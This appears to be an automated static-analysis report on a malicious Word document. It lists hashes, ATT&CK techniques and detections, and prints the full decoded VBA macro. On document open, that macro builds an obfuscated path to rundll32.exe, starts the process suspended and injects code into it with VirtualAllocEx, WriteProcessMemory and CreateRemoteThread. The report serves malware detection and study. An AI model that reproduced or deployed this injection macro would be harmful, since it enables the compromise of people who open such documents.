Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 759d636458b77c81…

MALICIOUS

Office (OLE)

38.5 KB Created: 2018-01-18 17:58:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: b763aeebca93bf32e087552323b2ef21 SHA-1: 9b46b4cfb711329d97e1041ff87ba41ce503bc23 SHA-256: 759d636458b77c81e786e2a03535ea4ed32573be7fcb7337df639ce16f1f89dc
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer T1055 Process Injection T1055.012 Process Hollowing

The sample is a malicious Office document containing VBA macros. The macros utilize critical Windows API calls such as CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory, indicating an attempt to inject code into another process. This is a common technique for executing malicious payloads, often downloaded from a remote source.

Heuristics 9

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        If Len(Environ(a("Pro\g:ramUW6 43R2", "\:U R"))) > 0 Then
        RfnCjtu = Environ(a("SwindFilr", "SFl")) & a(":\SJysWO?W6Y4N\qrunKdlXl3o2.ex!e", ":J?YNqKXo!")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4958 bytes
SHA-256: acb31252693d4211f6ca7a726bd6297b99173aab7098b9bf41ac6f08e0006302
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Type PROC
    ZEnRYEL As Long
    mhhsUzo As Long
    cACtzcH As Long
    ChnpYwt As Long
End Type

Private Type INFO
    ppFnQhc As Long
    cACtzcH As String
    ZLSaait As String
    iSeyHpq As String
    AhBCTbE As Long
    JCSZRqE As Long
    GvjZtDZ As Long
    DlAXgbr As Long
    MokGgKj As Long
    hbCYiGg As Long
    parRilo As Long
    UXaPWID As Long
    dSYmUJX As Integer
    YWNZiiS As Integer
    vljwxCW As Long
    xChGlfJ As Long
    itwVpab As Long
    qqJmWHg As Long
End Type

#If VBA7 Then
    Private _
    Declare _
    PtrSafe _
    Function _
    GRJdHPy _
    Lib _
    "kernel32" _
    Alias _
    "CreateRemoteThread" _
    (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
    Private _
    Declare _
    PtrSafe _
    Function _
    NjoBgiS _
    Lib _
    "kernel32" _
    Alias _
    "VirtualAllocEx" _
    (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
    Private _
    Declare _
    PtrSafe _
    Function _
    PzAQRmA _
    Lib _
    "kernel32" _
    Alias _
    "WriteProcessMemory" _
    (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
    Private _
    Declare _
    PtrSafe _
    Function _
    kpWcgef _
    Lib _
    "kernel32" _
    Alias _
    "CreateProcessA" _
    (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
    Private _
    Declare _
    Function _
    GRJdHPy _
    Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
    Private _
    Declare _
    Function _
    NjoBgiS _
    Lib _
    "kernel32" _
    Alias _
    "VirtualAllocEx" _
    (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
    Private _
    Declare _
    Function _
    PzAQRmA _
    Lib _
    "kernel32" _
    Alias _
    "WriteProcessMemory" _
    (ByVal pr As Long, ByVal crefytrey As Long, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As Long) As Long
    Private _
    Declare _
    Function _
    kpWcgef _
    Lib _
    "kernel32" _
    Alias _
    "CreateProcessA" _
    (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If

Function clean(s As String)
    s = Replace(s, vbCr, "")
    s = Replace(s, vbLf, "")
    clean = Replace(s, vbCrLf, "")
End Function


Sub Eiebv()
    On Error GoTo Handler
    Dim tDNEYSN
    Dim CRiRpMf As Long, ihfkbjZ As Variant, xFepntp As Long
    Dim ZHGViqy As PROC
    Dim RfnCjtu As String
    Dim CCMpnVe As INFO
    Dim xgbzobg As String
    

#If VBA7 Then
    Dim fHXLnSr As LongPtr, vwPzOJl As LongPtr
#Else
    Dim fHXLnSr As Long, vwPzOJl As Long
#End If
    Dim f As String
    f = ""
    
    ihfkbjZ = Split(f, ",")
    For i = 0 To UBound(arr)
        ihfkbjZ(i) = CInt(ihfkbjZ(i))
    Next i

    If Len(Environ(a("Pro\g:ramUW6 43R2", "\:U R"))) > 0 Then
        RfnCjtu = Environ(a("SwindFilr", "SFl")) & a(":\SJysWO?W6Y4N\qrunKdlXl3o2.ex!e", ":J?YNqKXo!")
    Else
        RfnCjtu = Environ(a("JwiEnFdifr", "JEFf")) & a("\bSXy shtgejm32\KrundWl6lR362z.Nekxe", "bX hgjKW6RzNk")
    End If

    vwPzOJl = kpWcgef(xgbzobg, RfnCjtu, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, xgbzobg, CCMpnVe, ZHGViqy)

    fHXLnSr = NjoBgiS(ZHGViqy.ZEnRYEL, 0, UBound(ihfkbjZ), &H1000, &H40)
    For xFepntp = LBound(ihfkbjZ) To UBound(ihfkbjZ)
        CRiRpMf = ihfkbjZ(xFepntp)
        vwPzOJl = PzAQRmA(ZHGViqy.ZEnRYEL, fHXLnSr + xFepntp, CRiRpMf, 1, ByVal 0&)
    Next xFepntp
    vwPzOJl = GRJdHPy(ZHGViqy.ZEnRYEL, 0, 0, fHXLnSr, 0, 0, 0)
Handler:
End Sub


Function a(s As String, r As String) As String
    For c = 1 To Len(s)
        If InStr(1, r, Mid(s, c, 1)) = 0 Then
            a = a & Mid(s, c, 1)
        End If
    Next
End Function


Sub Document_Open()
    
    Call Eiebv
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.